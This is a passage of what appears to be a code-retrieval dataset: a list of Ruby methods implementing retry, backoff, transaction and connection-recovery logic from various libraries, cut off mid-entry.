"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def retry\n raise \"#{@error_msg_prefix} must be passed a block\" unless block_given?\n\n attempts = 0\n start_time = Time.now\n begin\n attempts += 1\n yield attempts\n rescue InfluxError => e\n if attempts > @max_retries\n @api_client.log(:error, 'Maximum retry attempts reached.')\n raise e\n end\n\n if (Time.now - start_time) * 1000 > @max_retry_time\n @api_client.log(:error, \"Maximum retry time #{@max_retry_time} ms exceeded\")\n raise e\n end\n\n raise e if (e.code.nil? || e.code.to_i < 429) && !_connection_error(e.original)\n\n timeout = if e.retry_after.nil? || e.retry_after.empty?\n get_backoff_time(attempts)\n else\n (e.retry_after.to_f * 1000) + @jitter_interval * rand\n end\n\n message = 'The retriable error occurred during writing of data. '\\\n \"Reason: '#{e.message}'. Retry in: #{timeout.to_f / 1000}s.\"\n\n @api_client.log(:warn, message)\n sleep timeout / 1000\n retry\n end\n end",
"def nro_write_with_retry(session, write_concern, &block)\n if session && session.client.options[:retry_writes]\n server = select_server(cluster, ServerSelector.primary, session)\n yield server\n else\n legacy_write_with_retry(nil, session, &block)\n end\n end",
"def retryable(&block)\n RetryableRecord.retry(self, &block)\n end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue Java::JavaSql::SQLException => e\n raise unless /^(Closed Connection|Io exception:|No more data to read from socket|IO Error:)/.match?(e.message)\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def read_with_one_retry(options = nil)\n yield\n rescue *retryable_exceptions, Error::PoolError => e\n raise e unless e.write_retryable?\n\n retry_message = options && options[:retry_message]\n log_retry(e, message: retry_message)\n yield\n end",
"def try(&block)\n\n tries = REST_MAX_TRIES\n\n begin\n yield\n rescue\n tries -= 1\n tries > 0 ? retry : raise\n end\n end",
"def retry_transaction(&block)\n tries = 3\n begin\n yield\n rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotUnique\n tries -= 1\n if tries > 0\n retry\n else\n raise\n end\n end\n end",
"def retry_block(options = {}, &block)\n options = {\n :retry => 1,\n :data => {},\n :type => StandardError\n }.merge(options)\n \n retries = case options[:retry]\n when true\n 1\n when Integer\n options[:retry]\n else\n 0\n end\n \n types = [ options[:type] ].flatten.compact\n \n begin\n yield\n rescue *types => ex\n if retries > 0\n return self.send(__method__, options.merge(:retry => retries - 1), &block)\n else\n notify_exception(ex, :data => options[:data], :raise => true)\n end\n end\n end",
"def retry_until\n if @retry == 0\n job = yield\n else\n begin\n job = yield\n rescue DRMAA::DRMAATryLater\n STDERR.puts \"... sleeping\"\n sleep @retry\n retry\n end\n end\n return job\n end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue NativeException => e\n raise unless e.message =~ /^java\\.sql\\.SQLException: (Closed Connection|Io exception:|No more data to read from socket)/\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def retry_until\n if @retry == 0\n job = yield\n else\n begin\n job = yield\n rescue DRMAA::DRMAATryLater\n STDERR.puts \"... sleeping\"\n sleep @retry\n retry\n end\n end\n return job\n end",
"def with_retry(retries: 3)\n retries = 0 if retries.nil? || retries.negative?\n\n 0.upto(retries) do |n|\n attempt(n, retries) do\n return yield self\n end\n end\n end",
"def retryable(retries, delay)\r\n yield\r\n rescue *RETRYABLE_EXCEPTIONS.call\r\n raise unless (retries -= 1) > 0\r\n\r\n sleep(delay)\r\n retry\r\n end",
"def write_nonblock\n end",
"def retryable(options = {}, &block)\n options = {:max_retries => 4, :on_retry => nil, :retry_delay => 1.0}.merge!(options)\n retry_count = options[:max_retries]\n\n begin\n yield\n\n rescue Beaneater::NotConnected\n if retry_count > 0\n reconnect!\n retry_count -= 1\n sleep options[:retry_delay]\n options[:on_retry].call if options[:on_retry].respond_to?(:call)\n retry\n else # stop retrying\n raise e\n end\n end\n end",
"def retry_read(original_error, session, server_selector, failed_server: nil, &block)\n begin\n server = select_server(cluster, server_selector, session, failed_server)\n rescue Error, Error::AuthError => e\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n \n log_retry(original_error, message: 'Read retry')\n \n begin\n yield server, true\n rescue *retryable_exceptions => e\n e.add_notes('modern retry', 'attempt 2')\n raise e\n rescue Error::OperationFailure, Error::PoolError => e\n e.add_note('modern retry')\n unless e.write_retryable?\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n e.add_note(\"attempt 2\")\n raise e\n rescue Error, Error::AuthError => e\n e.add_note('modern retry')\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n end",
"def with_limited_retry(opts)\n tries = opts.fetch :tries\n exceptions = Array(opts.fetch(:exceptions))\n\n return if tries == 0\n\n begin\n yield\n rescue *exceptions\n Chef::Log.warn('Bad response, try again...')\n if (tries -= 1) > 0\n sleep 1\n retry\n end\n end\n end",
"def retryable( options = {}, &block )\n opts = { :tries => 1, :on => Exception }.merge(options)\n\n return nil if opts[:tries] == 0\n \n retry_exception, tries = [ opts[:on] ].flatten, opts[:tries]\n \n begin\n return yield\n rescue *retry_exception\n retry if (tries -= 1) > 0\n end\n \n yield\nend",
"def with_retry(*exceptions, attempts: RETRY_ATTEMPTS, base: RETRY_BASE, cap: RETRY_CAP, &block)\n attempt = 0\n\n begin\n return (yield)\n rescue *exceptions => error\n raise unless attempt < attempts\n\n warn \"Retry #{block} on error: #{error}\"\n\n retry_sleep [cap, base * 2 ** attempt].min\n\n attempt += 1\n\n retry\n end\n end",
"def legacy_read_with_retry(session, server_selector, &block)\n attempt = attempt ? attempt + 1 : 1\n yield select_server(cluster, server_selector, session)\n rescue *retryable_exceptions, Error::OperationFailure, Error::PoolError => e\n e.add_notes('legacy retry', \"attempt #{attempt}\")\n \n if is_retryable_exception?(e)\n raise e if attempt > client.max_read_retries || session&.in_transaction?\n elsif e.retryable? && !session&.in_transaction?\n raise e if attempt > client.max_read_retries\n else\n raise e\n end\n \n log_retry(e, message: 'Legacy read retry')\n sleep(client.read_retry_interval) unless is_retryable_exception?(e)\n retry\n end",
"def retry_until_ok(&block)\n # Lock usage:\n # 1. @stop.mutex\n\n begin\n yield block\n rescue OplogException, StaleCursorException\n raise\n rescue => e\n @logger.error \"#{@name}: #{get_full_exception_msg(e)}\"\n sleep @err_retry_interval\n\n do_stop = @stop.use { |stop, mutex| stop }\n if do_stop then\n raise RetryFailedException.new(e)\n else\n retry\n end\n end\n end",
"def with_retries(&block)\n base_sleep_seconds = 0.5\n max_sleep_seconds = 300 # 5 minutes\n\n # Let's do this thing\n attempts = 0\n\n begin\n attempts += 1\n return block.call(attempts)\n\n rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::EHOSTUNREACH,\n Errno::ENETDOWN, Errno::ENETUNREACH, Errno::ETIMEDOUT, Timeout::Error => ex\n\n raise ex if attempts >= 100\n\n # The sleep time is an exponentially-increasing function of base_sleep_seconds.\n # But, it never exceeds max_sleep_seconds.\n sleep_seconds = [base_sleep_seconds * (2 ** (attempts - 1)), max_sleep_seconds].min\n # Randomize to a random value in the range sleep_seconds/2 .. sleep_seconds\n sleep_seconds = sleep_seconds * (0.5 * (1 + rand()))\n # But never sleep less than base_sleep_seconds\n sleep_seconds = [base_sleep_seconds, sleep_seconds].max\n\n warn \"Failed to connect: #{ex}. Retrying in #{sleep_seconds.round(1)} seconds.\"\n\n snooze(sleep_seconds)\n\n retry\n end\n end",
"def retry_on_transient_error\n (options.retry_count.to_i + 1).times do |n|\n logger.debug \"Attempt ##{n}\"\n begin\n result = yield\n rescue Fog::Compute::AWS::Error => e\n sleep_seconds = options.retry_interval * (n+1)\n logger.warn \"Received AWS error: #{e}\"\n logger.warn \"Sleeping #{sleep_seconds} seconds before retrying\"\n sleep sleep_seconds\n else\n return result\n end\n end\n nil\n end",
"def modern_read_with_retry(session, server_selector, &block)\n server = select_server(cluster, server_selector, session)\n yield server\n rescue *retryable_exceptions, Error::OperationFailure, Auth::Unauthorized, Error::PoolError => e\n e.add_notes('modern retry', 'attempt 1')\n raise e if session.in_transaction?\n raise e if !is_retryable_exception?(e) && !e.write_retryable?\n retry_read(e, session, server_selector, failed_server: server, &block)\n end",
"def retry_on_uniqueness_violation(&block)\n if raises_uniqueness_violation?(&block)\n yield\n end\n end",
"def each_for_write\n \t \tbegin\n\t \t \thelper = TransHelper.new\n\t \t \thelper.trans([:Layer]) do |tr,db,tables|\n\t \t \t \tself.each do |sel_object|\n\t \t \t \t\tent = helper.get_obj(sel_object.ObjectId, :Read)\n\t \t \t \t\tlayer = helper.get_obj(ent.LayerId)\n\t \t \t \t\tif !layer.IsLocked\n\t \t \t \t\t\tent.UpgradeOpen\n\t \t \t \t \tyield ent \n\t \t \t \t end\t\n\t \t \t \tend\n\t \t \tend\n \t rescue Exception => e\n\t\t puts_ex e\n\t \t end\t\n \t end",
"def ts_retry(attempts=1, &block)\n attempt = 0\n \n begin\n yield block\n rescue RSpec::Expectations::ExpectationNotMetError => e\n attempt += 1\n if attempt > attempts\n raise e\n else\n sleep 0.5\n retry\n end\n end\n end",
"def synchronize_write\n lock_write\n begin\n yield\n ensure\n unlock_write\n end\n end",
"def with_lock_retries(*args, **kwargs, &block)\n if transaction_open?\n if enable_lock_retries?\n Gitlab::AppLogger.warn 'Lock retries already enabled, executing the block directly'\n yield\n else\n raise <<~EOF\n #{__callee__} can not be run inside an already open transaction\n\n Use migration-level lock retries instead, see https://docs.gitlab.com/ee/development/migration_style_guide.html#retry-mechanism-when-acquiring-database-locks\n EOF\n end\n else\n super(*args, **kwargs.merge(allow_savepoints: false), &block)\n end\n end",
"def retry\n attempts = 0\n\n while true\n begin\n yield\n rescue Aws::Core::Client::NetworkError, Aws::S3::Errors::InternalError\n attempts += 1\n break if attempts >= RETRIES\n STDERR.puts \"Transfer failed, retrying (#{attempts} of #{RETRIES})\"\n next\n else\n break\n end\n end\n\n if attempts >= RETRIES\n STDERR.puts \"Transfer permanently failed. Giving up.\"\n end\n end",
"def deprecated_legacy_read_with_retry(&block)\n deprecation_warning :read_with_retry,\n 'Legacy read_with_retry invocation - ' \\\n 'please update the application and/or its dependencies'\n\n # Since we don't have a session, we cannot use the modern read retries.\n # And we need to select a server but we don't have a server selector.\n # Use PrimaryPreferred which will work as long as there is a data\n # bearing node in the cluster; the block may select a different server\n # which is fine.\n server_selector = ServerSelector.get(mode: :primary_preferred)\n legacy_read_with_retry(nil, server_selector, &block)\n end",
"def run\n return yield if turned_off?\n\n with_connection do\n if open?\n callback&.call CircuitOpen.new\n raise CircuitOpen\n end\n\n begin\n result = yield\n rescue Exception => error\n if exceptions.any? { |watched| error.is_a?(watched) }\n increment_counter!\n callback&.call error\n else\n reset_counter!\n end\n\n raise error\n end\n\n reset_counter!\n result\n end\n ensure\n reset_record\n end",
"def on_retries_exhausted(&block)\n @retries_exhausted_handler = block\n end",
"def retry_before_failing\n sleeping(NODE_QUERY_WAIT_TIME).seconds.between_tries.failing_after(MAX_NODE_QUERY_RETRIES).tries do\n yield\n end\n yield\n end",
"def retry\n super\n end",
"def with_error_handling\n return_value = yield\n @retry_count = 0\n return_value\n\n rescue PG::Error => e\n if recoverable_error?(e.message) && @retry_count < @max_retries\n @retry_count += 1\n sleep_time = sleep_time_for_error(e.message)\n log \"Failed with recoverable error (#{e.class}): #{e.message}\"\n log \"Retry attempt #{@retry_count} will occur after #{sleep_time} seconds\"\n sleep sleep_time\n retry\n\n else\n @retry_count = 0\n @error_occurred = true\n log \"An error occurred (#{e.class}): #{e.message}\"\n\n if @print_backtrace_for_all_errors || !error_backtrace_is_not_helpful?(e.class)\n log e.backtrace.join(\"\\n\")\n end\n raise e if @abort_on_error\n end\n end",
"def lock_changes\n begin\n @lock_count += 1\n yield\n ensure\n @lock_count -= 1\n end\n end",
"def flush\n check_return_code(\n Lib.memcached_flush(@struct, IGNORED)\n )\n rescue => e\n tries ||= 0\n raise unless tries < options[:exception_retry_limit] && should_retry(e)\n tries += 1\n retry\n end",
"def with_all(continue_on_error = false)\n cluster.shards.map do |shard|\n begin\n with_shard(shard) {\n yield\n }\n rescue Exception => err\n unless continue_on_error\n raise err\n end\n err\n end\n end\n end",
"def batch\n yield if block_given?\n end",
"def keeping_connection_proxy(shard, &_block)\n last_block = block\n\n begin\n self.block = shard\n yield\n ensure\n self.block = last_block || nil\n end\n end",
"def expect_with_retry attempts: 5\n attempt_number ||= 0\n yield\n rescue RSpec::Expectations::ExpectationNotMetError\n attempt_number += 1\n retry if attempt_number < attempts\n raise\n end",
"def batch\n mon_synchronize do\n begin\n original, @client = @client, SSDB::Batch.new\n yield(self)\n @client.values = original.perform(@client)\n ensure\n @client = original\n end\n end\n end",
"def batch\n mon_synchronize do\n begin\n original, @client = @client, SSDB::Batch.new\n yield(self)\n @client.values = original.perform(@client)\n ensure\n @client = original\n end\n end\n end",
"def with_retry\n count = 0\n loop do\n response = yield\n if response.code == 403 && response['error'].any? { |e| e['error'] == 'too many requests' }\n count += 1\n delay = 2 ** count\n warn \"too many requests, sleeping for #{delay} seconds\"\n sleep delay\n else\n return response\n end\n end\n end",
"def within_limit\n raise ArgumentError, \"requires a block\" unless block_given?\n\n Rollie.redis do |conn|\n status = inc(conn)\n unless status.exceeded?\n yield\n end\n status\n end\n end",
"def retry_on_error(retry_count, &block)\n block.call\n rescue ActiveRecord::StatementInvalid\n # cope with \"Mysql2::Error: Deadlock found ...\" exception\n if retry_count > 0\n sleep 0.2\n retry_count -= 1\n puts \"Retry trade execution (#{retry_count} retry left) ..\"\n retry\n else\n puts \"Failed to execute trade: #{@payload.inspect}\"\n raise $!\n end\n end",
"def seed(&block)\n raise 'Must provide a block' unless block_given?\n\n @@urls.clear\n @@docs.clear\n\n # &block populates the @@urls and @@docs arrays.\n instance_eval(&block)\n\n begin\n @@db.client[:urls].insert_many(@@urls) unless @@urls.empty?\n @@db.client[:documents].insert_many(@@docs) unless @@docs.empty?\n\n @@urls.count + @@docs.count\n rescue StandardError => e\n err_msg = e.respond_to?(:result) ? e.result['writeErrors'] : e.message\n raise \"Write to DB failed - remember that both urls and docs won't \\\naccept duplicate urls. Exception details: #{err_msg}\"\n end\n end",
"def transaction(&block)\n db\n persister\n\n result = nil\n start_time = Time.now\n begin\n db.transaction(:rollback => :reraise, :isolation => :repeatable,\n :retry_on => @retry_on_error, :num_retries => 3) do\n result = yield block\n end\n total = Time.now.to_ms - start_time.to_ms\n debug \"Transaction committed (#{total} ms)\"\n result\n rescue StandardError => e\n total = Time.now.to_ms - start_time.to_ms\n warn \"Transaction failed (#{total} ms)\"\n raise e\n ensure\n GC.start\n end\n end",
"def each(&block) \n reset\n \n while transaction = next_transaction\n yield transaction\n end\n end",
"def attempt(block)\n # Returning self will allow chaining calls\n return self unless block\n return block.call unless AttemptThis.enabled?\n\n apply_defaults\n\n # Retriable attempts require special error handling\n result = each_retriable_attempt do\n return attempt_with_reset(&block)\n end\n\n # Final attempt\n if (result != :empty)\n @delay_policy.call unless result == :skipped\n final_attempt(&block)\n end\n end",
"def attempt(times, &block)\n n = times\n result = nil\n begin\n result = block.call(self) unless block.nil?\n rescue Exception => ex\n times -= 1\n retry if times >= 0\n raise ex\n end\n result\n end",
"def with_exp_backoff(max_retries)\n return unless block_given?\n\n retries = 0\n begin\n yield\n rescue Lokalise::Error::TooManyRequests => e\n raise(e.class, \"Gave up after #{retries} retries\") if retries >= max_retries\n\n sleep 2**retries\n retries += 1\n retry\n end\n end",
"def retry_append_to_stream(stream_name, events, expected_revision = nil, max_retries: 0)\n retrying_on_network_failures(max_retries) do\n append_to_stream(stream_name, events, expected_revision)\n end\n end",
"def retry_with_backoff(retries_remaining, &block)\n result, caught_exception = nil\n should_retry = false\n\n begin\n result, should_retry = yield\n return [result, nil] unless should_retry\n rescue StandardError => e\n p e\n should_retry = true\n caught_exception = e\n end\n\n if should_retry && (retries_remaining > 1)\n sleep(@backoff_policy.next_interval.to_f / 1000)\n retry_with_backoff(retries_remaining - 1, &block)\n else\n [result, caught_exception]\n end\n end",
"def retry!\n raise 'Not implemented!'\n end",
"def rescue_connection_failure(max_retries=60)\n retries = 0\n begin\n yield\n rescue Mongo::ConnectionFailure => ex\n puts ex\n retries += 1\n raise ex if retries > max_retries\n sleep(0.5)\n retry\n end\nend",
"def with_raw_connection(allow_retry: false, materialize_transactions: true)\n @lock.synchronize do\n connect! if @raw_connection.nil? && reconnect_can_restore_state?\n\n self.materialize_transactions if materialize_transactions\n\n retries_available = allow_retry ? connection_retries : 0\n deadline = retry_deadline && Process.clock_gettime(Process::CLOCK_MONOTONIC) + retry_deadline\n reconnectable = reconnect_can_restore_state?\n\n if @verified\n # Cool, we're confident the connection's ready to use. (Note this might have\n # become true during the above #materialize_transactions.)\n elsif reconnectable\n if allow_retry\n # Not sure about the connection yet, but if anything goes wrong we can\n # just reconnect and re-run our query\n else\n # We can reconnect if needed, but we don't trust the upcoming query to be\n # safely re-runnable: let's verify the connection to be sure\n verify!\n end\n else\n # We don't know whether the connection is okay, but it also doesn't matter:\n # we wouldn't be able to reconnect anyway. We're just going to run our query\n # and hope for the best.\n end\n\n begin\n result = yield @raw_connection\n @verified = true\n result\n rescue => original_exception\n translated_exception = translate_exception_class(original_exception, nil, nil)\n invalidate_transaction(translated_exception)\n retry_deadline_exceeded = deadline && deadline < Process.clock_gettime(Process::CLOCK_MONOTONIC)\n\n if !retry_deadline_exceeded && retries_available > 0\n retries_available -= 1\n\n if retryable_query_error?(translated_exception)\n backoff(connection_retries - retries_available)\n retry\n elsif reconnectable && retryable_connection_error?(translated_exception)\n reconnect!(restore_transactions: true)\n # Only allowed to reconnect once, because reconnect! has its own retry\n # loop\n reconnectable = false\n retry\n end\n end\n\n unless retryable_query_error?(translated_exception)\n # Barring a known-retryable error inside the query (regardless of\n # whether we were in a _position_ to retry it), we should infer that\n # there's likely a real problem with the connection.\n @verified = false\n end\n\n raise translated_exception\n ensure\n dirty_current_transaction if materialize_transactions\n end\n end\n end",
"def with_default_and_all(continue_on_error = false)\n ([default_shard] + cluster.shards).map do |shard|\n begin\n with_shard(shard) {\n yield\n }\n rescue Exception => err\n unless continue_on_error\n raise err\n end\n err\n end\n end\n end",
"def save_with_retry\n tries ||= 3\n save\n\n rescue Errno::ECONNRESET, Net::ReadTimeout, Net::OpenTimeout => e\n raise e if tries == 0\n tries -= 1\n sleep(3)\n retry\n end",
"def retryable(opts = nil)\n opts = { tries: 1, on: Exception }.merge(opts || {})\n\n begin\n return yield\n rescue *opts[:on] => e\n if (opts[:tries] -= 1) > 0\n $stderr.puts(\"Retryable exception raised: #{e.inspect}\")\n\n sleep opts[:sleep].to_f if opts[:sleep]\n retry\n end\n raise\n end\nend",
"def each_attempt(&block)\n @attempts.each(&block)\n end",
"def perform_op(method, req_hash, options={}, &blk)\n set_defaults(options)\n max_retries = options[:max_retries] || 5\n max_follows = options[:max_follows] || 10\n if options[:follow_count] && options[:follow_count] >= max_follows\n raise Rest::RestError, \"Too many follows. #{options[:follow_count]}\"\n end\n current_retry = 0\n current_follow = 0\n success = false\n tries = 0\n res = nil\n # todo: typhoeus does retries in the library so it shouldn't do retries here. And we should use the max_retries here as a parameter to typhoeus\n while current_retry < max_retries && current_follow < max_follows do\n tries += 1\n begin\n res = yield blk\n res.tries = tries\n if res.code >= 300 && res.code < 400\n # try new location\n #p res.headers\n loc = res.headers[\"location\"]\n @logger.debug \"#{res.code} Received. Trying new location: #{loc}\"\n if loc.nil?\n raise InvalidResponseError.new(\"No location header received with #{res.code} status code!\")\n end\n # options.merge({:max_follows=>options[:max_follows-1]}\n options[:follow_count] ||= 0\n options[:follow_count] += 1\n res = perform_op(method, req_hash, options) do\n res = @wrapper.send(method, loc, req_hash)\n end\n #puts 'X: ' + res.inspect\n return res\n end\n # If it's here, then it's all good\n break\n rescue Rest::HttpError => ex\n if ex.code == 503\n raise ex if current_retry == max_retries - 1\n\n pow = (4 ** (current_retry)) * 100 # milliseconds\n #puts 'pow=' + pow.to_s\n s = rand * pow\n #puts 's=' + s.to_s\n sleep_secs = 1.0 * s / 1000.0\n #puts 'sleep for ' + sleep_secs.to_s\n current_retry += 1\n @logger.debug \"#{ex.code} Received. Retrying #{current_retry} out of #{max_retries} max in #{sleep_secs} seconds.\"\n sleep sleep_secs\n else\n raise ex\n end\n end\n end\n res\n end",
"def index_write\n rugged_repository.index.reload\n yield(rugged_repository.index)\n rugged_repository.index.write\n end",
"def retry_entries statuses, indices\n entries = indices.map { |i| @req_entries[i] }\n retry_statuses = mutate_rows entries\n\n retry_statuses.each_with_object [] do |e, next_indices|\n next_indices << indices[e.index] if RETRYABLE_CODES[e.status.code]\n statuses[indices[e.index]].status = e.status\n end\n end",
"def retry_execution(retry_message, times = AgentConfig.max_packages_install_retries)\n count = 0\n success = false\n begin\n count += 1\n success = yield\n @audit.append_info(\"\\n#{retry_message}\\n\") unless success || count > times\n end while !success && count <= times\n success\n end",
"def each_with_deleted\n return unless block_given?\n\n count.times do |i|\n yield load(i)\n end\n end",
"def mutate(retries = 0)\n if retries >= 10_000\n $stderr.puts \"Couldn't mutate the sample after 10000 retries. Aborting...\"\n exit! 2\n end\n begin\n mutator = available.sample.new tree\n Individual.new mutator.mutate\n rescue Exception\n mutate retries + 1\n end\n end",
"def retry!\n raise RetryMessage\n end",
"def retry_writes?\n !!client.options[:retry_writes] && (cluster.replica_set? || cluster.sharded? || cluster.load_balanced?)\n end",
"def batch(&block)\n # NOTE: the use of 'self.staging' is quite important in this method.\n\n # write current index to git-staging-index\n idx = self.staging? ? self.staging : nil\n idx.sync if idx\n\n # replace current index with an in-mem staging index\n unstage\n self.staging=StageMemIndex.read(self)\n\n begin\n yield staging if block_given?\n\n rescue Exception => e\n # ensure index is discarded if there is a problem\n unstage\n self.staging if idx\n raise e\n end\n\n # write in-mem staging index to git-staging-index\n self.staging.force_sync\n\n # read git-staging-index if appropriate\n unstage\n self.staging if idx\n end",
"def yield_rest\n @array_corrupted = true\n\n begin\n @mutex.synchronize do\n loop do\n ele = @enum.next\n @length_cache += 1\n yield(ele)\n end\n\n @end = true # How it actually breaks is beyond me...\n end\n rescue StopIteration\n @end = true\n end\n end",
"def each_row_streaming(&block)\n Roo::Utils.each_element(@path, 'row', &block)\n end",
"def read_with_one_retry(options = nil)\n yield\n rescue Error::SocketError, Error::SocketTimeoutError => e\n retry_message = options && options[:retry_message]\n log_retry(e, message: retry_message)\n yield\n end",
"def retry_block(n = MAX_NODE_QUERY_RETRIES, &block)\n begin\n block.call\n rescue Selenium::WebDriver::Error::StaleElementReferenceError, Capybara::TimeoutError, Capybara::ElementNotFound, Selenium::WebDriver::Error::UnknownError, Capybara::Driver::Webkit::NodeNotAttachedError\n if (n -= 1) >= 0\n sleep(30 / (n + 1))\n retry\n else\n raise\n end\n end\nend",
"def retry(retry_count)\n Observable.rescue_error(enumerator_repeat_times(retry_count, self))\n end",
"def bulk_index(document_hashes_or_payload, options = {})\n @client = build_client(options.merge(retry_on_failure: true, timeout: 10))\n\n with_retries do\n payload_generator = Indexer::BulkPayloadGenerator.new(@index_name, @search_config, @client, @is_content_index)\n response = @client.bulk(index: @index_name, body: payload_generator.bulk_payload(document_hashes_or_payload))\n\n items = response[\"items\"]\n failed_items = items.select do |item|\n data = item[\"index\"] || item[\"create\"]\n data.key?(\"error\")\n end\n\n if failed_items.any?\n # Because bulk writes return a 200 status code regardless, we need to\n # parse through the errors to detect responses that indicate a locked\n # index\n blocked_items = failed_items.select do |item|\n error = (item[\"index\"] || item[\"create\"])[\"error\"]\n locked_index_error?(error[\"reason\"])\n end\n if blocked_items.any?\n raise IndexLocked\n else\n GovukError.notify(Indexer::BulkIndexFailure.new, extra: { failed_items: failed_items })\n raise Indexer::BulkIndexFailure\n end\n end\n\n response\n end\n end",
"def max_write_retries\n options[:max_write_retries] || Cluster::MAX_WRITE_RETRIES\n end",
"def rewrite(&block)\n self\n end",
"def each_ungraded_attempt(&block)\n ungraded_attempts.each(&block) \n end",
"def perform(options = {}, &block)\n @record.transaction do\n @record.class.lock('FOR UPDATE NOWAIT').find(@record.id)\n yield\n end\n rescue\n nil\n end",
"def block_write_access(address, block_data = [], options = {})\n options = { write: true, # whether to write or read the block\n width: 32 # width default to 32 bits\n }.merge(options)\n block_data.each_index do |i|\n if i == 0 # first do single write access with count > 1\n single_write_access(address, block_data[0], options.merge(count: block_data.count))\n if options[:width] > 32\n reg(:rwd).write(block_data[i = i + 1])\n if options[:write]\n write_nexus_register(reg(:rwd), options)\n else\n read_nexus_register(reg(:rwd), options)\n end\n end\n else\n next if i.odd? && options[:width] > 32\n reg(:rwd).write(block_data[i])\n if options[:write]\n write_nexus_register(reg(:rwd), options)\n else\n read_nexus_register(reg(:rwd), options)\n end\n if options[:width] > 32\n reg(:rwd).write(block_data[i = i + 1])\n if options[:write]\n write_nexus_register(reg(:rwd), options)\n else\n read_nexus_register(reg(:rwd), options)\n end\n end\n end\n end\n end",
"def double_repeat\n 2.times { yield }\nend",
"def lock_timeout_retries; end",
"def transaction(&block)\n yield\n end",
"def transaction(&block)\n yield\n end",
"def retryable(retries, delay)\n yield\n rescue *RESCUE_EXCEPTIONS_ON_ESTABLISH.call => e\n if (retries -= 1) > 0\n service.logger.info(\"[WinRM] connection failed. retrying in #{delay} seconds: #{e.inspect}\")\n sleep(delay)\n retry\n else\n service.logger.warn(\"[WinRM] connection failed, terminating (#{e.inspect})\")\n raise\n end\n end",
"def retro(tries, *args)\n tries = tries.to_i\n return false if tries == 0 || ! block_given?\n yield(*args)\n return true\n rescue Exception\n sleep(1)\n if (tries = tries - 1) > 0\n retry\n else\n return false\n end\n end",
"def blocker(&block)\n 20.times do\n puts yield(block)\n end\nend",
"def many(&block)\n return false unless try(&block)\n while try(&block); end\n true\n end",
"def do_with_retry(action, num_tries=2)\n (1..num_tries).each do |i|\n begin\n yield\n if (i > 1)\n log_debug \"DEBUG: Action '#{action}' succeeded on try #{i}. You can ignore previous error messages or following mcollective debug related to '#{action}'\"\n end\n break\n rescue Exception => e\n log_debug \"DEBUG: Error performing #{action} on existing app on try #{i}: #{e.message}\"\n raise if i == num_tries\n end\n end\n end",
"def handle_oplogs\n cursor = get_oplog_mongo_cursor(@config[:mongo_ignore_initial_read])\n loop do\n while not cursor.closed?\n begin\n doc = cursor.next\n if doc\n yield doc\n else\n sleep(1)\n end\n rescue Mongo::ConnectionFailure => ex\n @logger.error \"Replica Set went down\" if @logger\n rescue Mongo::OperationFailure => ex\n # catch invalid cursor on mongo reconnects\n cursor = mongo_operation_exception_handler(ex, cursor)\n rescue Exception => e\n @logger.error e if @logger\n end\n end\n cursor = get_oplog_mongo_cursor(false)\n end\n end",
"def ensure(&block)\n raise \"catch or each must be called before ensure\" unless @used\n block.call\n raise_if_failures\n end",
"def next_batch!(queue)\n now = Time.now.utc\n lock = rand(0x7FFFFFFF)\n run_at = now + queue.retry_interval\n conditions = {\n :attempts => { '$lt' => 5 },\n :priority => { '$gte' => -100 },\n :run_at => { '$lte' => now },\n :lock => nil }.merge(conditions(queue))\n\n # docs = []\n #\n # loop do\n # docs << collection.find(conditions).sort(:priority => -1, :run_at => 1).\n # find_one_and_update(\n # { '$set' => { :error => nil, :lock => lock, :run_at => run_at } },\n # { :upsert => true, :return_document => :after }\n # )\n #\n # break if docs.size == queue.batch_size or not docs.last\n # end\n #\n # docs.compact.map { |doc| new(doc) }\n\n # Perform just 2 queries instead of queue.batch_size,\n # wouldn't work well with multiple batch processors\n docs = collection.find(conditions).\n sort(:priority => -1, :record_class_name => 1, :run_at => 1).limit(queue.batch_size).to_a\n\n collection.find('_id' => { '$in' => docs.map { |d| d['_id'] }}).\n update_many('$set' => { :error => nil, :lock => lock, :run_at => run_at })\n\n docs.map { |d| new(d.merge('run_at' => run_at, 'lock' => lock, 'error' => nil)) }\n end",
"def publish_with_timeout_retry(request, parent, count = 0, multiplier = 1, elapsed = 0, broker_ids = nil)\n published_broker_ids = publish(request, broker_ids)\n\n if @retry_interval && @retry_timeout && parent\n interval = [(@retry_interval * multiplier) + (@request_stats.avg_duration || 0), @retry_timeout - elapsed].min\n EM.add_timer(interval) do\n begin\n if handler = @pending_requests[parent]\n count += 1\n elapsed += interval\n if elapsed < @retry_timeout\n request.tries << request.token\n request.token = AgentIdentity.generate\n @pending_requests[parent].retry_parent = parent if count == 1\n @pending_requests[request.token] = @pending_requests[parent]\n broker_ids ||= @broker.all\n publish_with_timeout_retry(request, parent, count, multiplier * RETRY_BACKOFF_FACTOR, elapsed,\n broker_ids.push(broker_ids.shift))\n @retry_stats.update(request.type.split('/').last)\n else\n Log.warning(\"RE-SEND TIMEOUT after #{elapsed.to_i} seconds for #{request.trace} #{request.type}\")\n result = OperationResult.non_delivery(OperationResult::RETRY_TIMEOUT)\n @non_delivery_stats.update(result.content)\n handle_response(Result.new(request.token, request.reply_to, result, @identity))\n end\n @connectivity_checker.check(published_broker_ids.first) if count == 1\n end\n rescue TemporarilyOffline => e\n # Send retry response so that requester, e.g., IdempotentRequest, can retry\n Log.error(\"Failed retry for #{request.trace} #{request.type} because temporarily offline\")\n result = OperationResult.retry(\"lost connectivity\")\n handle_response(Result.new(request.token, request.reply_to, result, @identity))\n rescue SendFailure => e\n # Send non-delivery response so that requester, e.g., IdempotentRequest, can retry\n Log.error(\"Failed retry for #{request.trace} #{request.type} because of send failure\")\n result = OperationResult.non_delivery(\"retry failed\")\n handle_response(Result.new(request.token, request.reply_to, result, @identity))\n rescue Exception => e\n # Not sending a response here because something more basic is broken in the retry\n # mechanism and don't want an error response to preempt a delayed actual response\n Log.error(\"Failed retry for #{request.trace} #{request.type} without responding\", 